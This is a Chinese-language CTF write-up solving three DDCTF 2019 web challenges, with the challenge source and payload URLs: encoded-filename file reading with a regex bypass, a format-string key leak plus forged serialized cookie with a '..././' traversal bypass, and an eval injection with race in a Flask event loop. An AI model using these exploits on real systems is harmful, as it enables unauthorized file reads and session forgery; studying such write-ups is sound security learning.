DDCTF2019-Web
滴~
0x00
打开页面观察,查看源代码,发现图片是用base64传过来的。
观察URL,有参数jpg,参数值猜测是base64编码。
看这结果,顺手再解密一次,得到如下:
结果中存在字母数字,猜测是16进制数据,尝试转成字符串得到如下:
根据页面提示的flag.jpg,感觉类似文件包含。那么就进行如下尝试:
jpg=base64(base64(hex('index.php')))
最终URL:http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
0x01
在index.php源代码注释中发现博客链接,访问查看未发现可疑。
回到源代码注释中,有日期提示,这个日期和链接的文章日期对不上。在博主原创文章中找到对应日期的博文。发现提示:
浏览器访问这个文件,得到提示如下:
通过上面一样的步骤,获取一下f1ag!ddctf.php的内容。但这里有个要注意的地方,就是index.php代码中的正则表达式,只允许0-9a-zA-Z和字符点(.)。这个文件名中存在感叹号,无法通过正则。但是下面一行代码$file = str_replace("config","!", $file);将config替换成感叹号(!)。我们可以通过构造文件名f1agconfigddctf.php来绕过正则,达到我们的目的。
通过如下操作拼接URL,访问文件:
jpg=base64(base64(hex('f1agconfigddctf.php')))
最终URL:http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpaR05rVTJOalk1TmpjMk5EWTBOak0zTkRZMk1rVTNNRFk0TnpBPQ==
获得如下源代码:
简单阅读代码,这里需要通过extract($_GET);传入$uid,$k,并且$uid要等于$k文件内容。
这里我用php伪协议php://input让$uid==$content为True,构造如下拿到flag:
Web签到题
0x00
访问页面,给的提示是权限不足。
首先审查元素看看,在body标签中可以看到。在body加载是允许auth()方法,通过翻看页面加载的js文件,最终在js/index.js中找到auth()方法的详情。
auth()是通过ajax构造请求,代码中可以看到认证的用户名是在HTTP头中的didictf_username字段。通过截断改包,给didictf_username字段值设置为admin,获得新的提示。
0x01
根据提示访问app/fL2XID2i0Cdh.php,老规矩,代码审计...
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
app/Application.php
页面有一个魔术方法__destruct(),此方法是在对象销毁时执行,这里执行的内容是:当Application->path不为空时,读取Application->path指定的文件内容并输出消息。并且检测当Application->path中存在../和..\时将这两个字符替换为空。这个限制可以用重写来绕过,如:..././
app/Session.php
上面一个文件有能读取任意文件的可能,需要再找找存在反序列化的地方。这个页面就存在反序列化,代码:$session = unserialize($session);
但是这里需要经过hash校验才能进行反序列化,校验的过程是如下代码:
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
这里要让我们的数据校验成功,需要获得eancrykey的值。这里需要用到这个页面中的如下代码:
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
这里是在hash校验后面的代码,我们可以先不管反序列化,使用页面正常返回给我们的cookie即可。我们只需要构造POST请求,请求参数为nickname即可触发这段代码。但是这里有个小坑,foreach循环第一次的时候,就把$data的%s替换了,当到了第二次循环时无法将$this->eancrykey(也就是$arr[1])的内容拼接到$data上,这样我们依旧拿不到eancrykey。
经过几番思考,其实这里我们可以让nickname=%s,即可让eancrykey拼接到$data中并输出。操作如下。
首先访问http://117.51.158.44/app/Session.php,开启代理抓包,刷新页面。添加http头部字段didictf_username:admin,获取cookie。
获取到cookie后,构造POST请求,POST数据为nickname=%s
0x02
得到eancrykey就好办了,构造序列化数据。使用eancrykey进行md5计算得到hash,然后在burp上替换cookie发送请求,getflag~
构造序列化:
- 本地新建dd.php,将/app/Session.php和/app/Applocation.php的代码放到dd.php中。将$ddctf = new Session();和$ddctf->index();这两行代码注释。
- 获得序列化字符串,在dd.php下面添加如下代码:
$app = new Application();
$app->path = '..././config/flag.txt'; //代码getkey()中提示//eancrykey and flag under the folder /app/flag.txt是用御剑扫出来的,建议ctfer们也将flag.txt等放到御剑字典里
$ser = serialize($app);
echo $ser;
echo md5('EzblrbNS'.$ser);
homebrew event loop
0x00
下面的这些题目都是比赛结束后,一边看大佬wp一边做的。具有学习价值,就写下来了。
这道题是python2 flask代码审计,本菜鸡第一次做python的题目。
这里直接就view source code查看源代码,复制到vscode进行审计。下面的代码已经做了一些简单的注释,方便理解程序逻辑。(希望有人能看懂吧....)
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66747e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event): # 触发事件,将log写入session
session['log'].append(event) # session:log中添加event
if len(session['log']) > 5: session['log'] = session['log'][-5:] # 大于5个长度就覆盖
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None): #
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') # 有效事件字符
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 此处应该是去掉问号?
request.event_queue = request.event_queue[1:] # 此处也是去掉问号
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';') # 取出函数名
args = get_mid_str(event, action+';').split('#') # 取出参数
try:
event_handler = eval(action + ('_handler' if is_action else '_function')) # 这里拼接函数后缀,这里可以通过#使添加的后缀失效
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string) # 获取请求参数
request.event_queue = [] # 初始化请求队列
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: # 请求参数方式为action:...., 长度小于100
querystring = 'action:index;False#False'
if 'num_items' not in session: # 如果session中不存在num_items键,添加之
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session) # 生成session
trigger_event(querystring) # 将请求参数写入日志(写入session)
return execute_event_loop() # 事件循环监听
# handlers/functions below --------------------------------------
def view_handler(args): # 显示交易
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args): # 主页
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args): # 购买函数
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) # 执行消费函数,对比point,如果point不足回滚session
def consume_point_function(args): # 消费函数
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
首先我们看主页路由函数entry_point(),这个函数的工作:
然后进入事件循环函数execute_event_loop(),这个函数的工作:
- 首先检测参数请求格式是否正确
- 然后取出函数名和参数值,eval执行。这里没有对eval内容过滤,可以通过#注释掉后面的内容,达到执行任意有参函数。
a). 例如:http://116.85.48.107:5002/d5af31f66147e657/?action:show_flag_function%23; #需要用%23代替 - 后面都是异常报错提示内容
flag获取是在get_flag_handler(),获取这个参数的前提是num_items >= 5
要num_items>=5需要执行buy_handler(),这个函数直接session['num_items'] += num_items,但是后面还调用了consume_point_function()。这个函数会检测session中的num_items是否足够,不足则回滚session。
要绕过这个限制,可以执行buy_handler()之后马上执行consume_point_function()。
payload: http://116.85.48.107:5002/d5afe1f66747e857/?action:trigger_event%23;action:buy;5%23action:get_flag;
这个的原理是因为事件循环不会等待函数执行完成再执行下一个函数,并行执行使得程序在检测num_items前就将flag放到session中。
访问链接后,查看session,使用巨佬的脚本解密,得到flag。
关于session解密的知识点看巨佬文章:**客户端session导致的安全问题 **